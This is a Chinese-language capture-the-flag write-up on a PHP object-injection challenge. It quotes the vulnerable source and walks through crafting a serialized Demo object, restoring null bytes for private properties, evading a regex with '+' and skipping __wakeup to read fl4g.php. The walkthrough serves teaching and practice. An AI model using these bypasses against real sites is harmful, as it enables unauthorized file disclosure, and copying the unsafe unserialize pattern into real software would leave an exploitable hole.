Web_php_unserialize

时间:2021-09-19
本文章向大家介绍Web_php_unserialize,主要包括Web_php_unserialize使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

题目源码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

在Demo函数里又看见了wakeup函数,应该会涉及到反序列化

看到下面的if判断语句,他先判断了,是否有var这个参数,如果有就将他base64解码,然后将解码后的值做正则匹配

正则匹配条件分析:/[oc]:\d+:/i

oc:代表这块区域用来匹配o或者c

\d:代表一个数字字符

+:代表可以匹配多次

/i:匹配时不区分大小写

总结下来他匹配的对象大概张这样:

o:4: (两个冒号之间为数字,第一个冒号前面为o或者c的大小写)

这里看判断条件,一旦正则匹配上了,程序就会停止,所以我们只能走下面的那个else条件,else中给了一个unserialize(),这个就是反序列化的操作,他的反向操作是serialize()

上面那个wakeup()函数在调用反序列化的操作时会首先执行,他的执行条件是判断file参数值是否为index.php,如果不是则换成他,并且他在里面提示了fl4g.php文件,那我们的目的应该就是访问这个fl4g文件,可是我们的文件名一旦不为index时,便会强制替换为index,所以分析到这里就知道,应该去使用上次我们利用的那个绕过wakeup函数的方法。

在本地搭建环境

将Demo函数复制过来

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo('1.php');
$b = serialize($a);
echo "</br>";
print_r($b);
?>

运行结果:

O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";} <?php
echo "这是1.php文件";
?> 

可以看到结果中已经将1.php文件的代码高亮显示。

其中O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}这个是对象a序列化后的结果,后面的1.php就是我们要访问的内容。

ps:这里可以发现wakeup中的内容并没有执行,这是因为这个wakeup只有在调用unserialize函数时才会执行,

__construct($file):这个函数会在构造函数时读入一个值做参数

__destruct():这个函数会在程序销毁时执行(有点像C++中的析构函数)

这里我卡了很久,无论我怎么改,都没办法修改这个对象的属性值,后来发现不是无法修改,而是他没执行构造函数,所以导致这个文件名并没有读入,然后我就去研究为什么这个构造函数没有执行。

这里算是踩了个坑啊,回头检查可以发现,10后面对应的那个值:Demofile,这里明明只有8个字符,何来10个字符?(这是php执行给的结果,所以这肯定不会是错的)

查阅资料后知道,private属性被序列化的时候属性值会变成\x00类名\x00属性名,其中:\x00表示空字符,但是还是占用一个字符位置,这就是为什么上面serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10。

修改代码,证明结论:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
		echo "构造函数执行!!";
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
		echo "析构函数执行!!";
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            //$this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo('1.php');
$b = base64_encode(serialize($a));
echo "</br>";
print_r($b);
echo "</br>";

$c = 'O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}';//将序列化后的值直接复制过来
print_r(base64_encode($c));
//@unserialize($c);

?>

结果:

构造函数执行!!
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9
Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo1OiIxLnBocCI7fQ== <?php
echo "这是1.php文件";

?> 析构函数执行!!

可以明显的看到,两次的base64编码有差异,可以证明浏览器将这个\x00给干掉了,这一点,不细细观察真的感觉不出来。

那这一题就不能简单复制粘贴了,需要用到16进制编辑器将浏览器给过滤掉的东西补回去。

这里burpsuite可以很方便的实现,所以直接上工具!

将内容复制进decoder模块,然后点击hex,转为16进制,我们需要在少内容的地方将那两个空字符补上,根据\x00类名\x00属性名,可以知道,我们应该在D的前面和f的前面添加上这两个空字符。

这里的44代表D,66代表f

添加完后将其base64编码,不然浏览器又会把他干掉了,再次修改代码,测试能否执行:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
		echo "构造函数执行!!";
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
		echo "析构函数执行!!";
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            //$this->file = 'index.php';	//先注释掉这块,主要测试构造函数 
        } 
    } 
}

$c = 'Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9';
//print_r(base64_encode($c));
$d = base64_decode($c);
@unserialize($d);

?>

运行结果:

 <?php
echo "这是1.php文件";

?> 析构函数执行!!

看到效果了,执行成功了,但是可以观察到的是,构造函数依旧没有执行,这说明在反序列化的过程中,并没有涉及到这一步。

知道了这么多东西,就可以回来看题目了,但题目中还有一个条件是,参数中不能包含数字,由于序列化后的字符串是包含数字的,所以这又该怎么过?

这里绕过数字,其实质也是绕过preg_match()函数,那这就又需要上网搜集知识点了

其中+号可以实现绕过(+号代表空格)

其他的可能绕过的方法:

  1. true可以代替数字1

    PHP中true为弱类型,true+true的值为2

  2. 异或法可以替代一些内容

    str = r"~!@#$%^&*()_+<>?,.;:-[]{}/"
    
    for i in range(0, len(str)):
        for j in range(0, len(str)):
            a = ord(str[i])^ord(str[j])
            print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
    

这里肯定是选最简单的加号绕过

中间那个2就不重复解释了,wakeup的漏洞,编码后提交即可得到flag!

终于做完了@_@

原文地址:https://www.cnblogs.com/Sentry-fei/p/15312511.html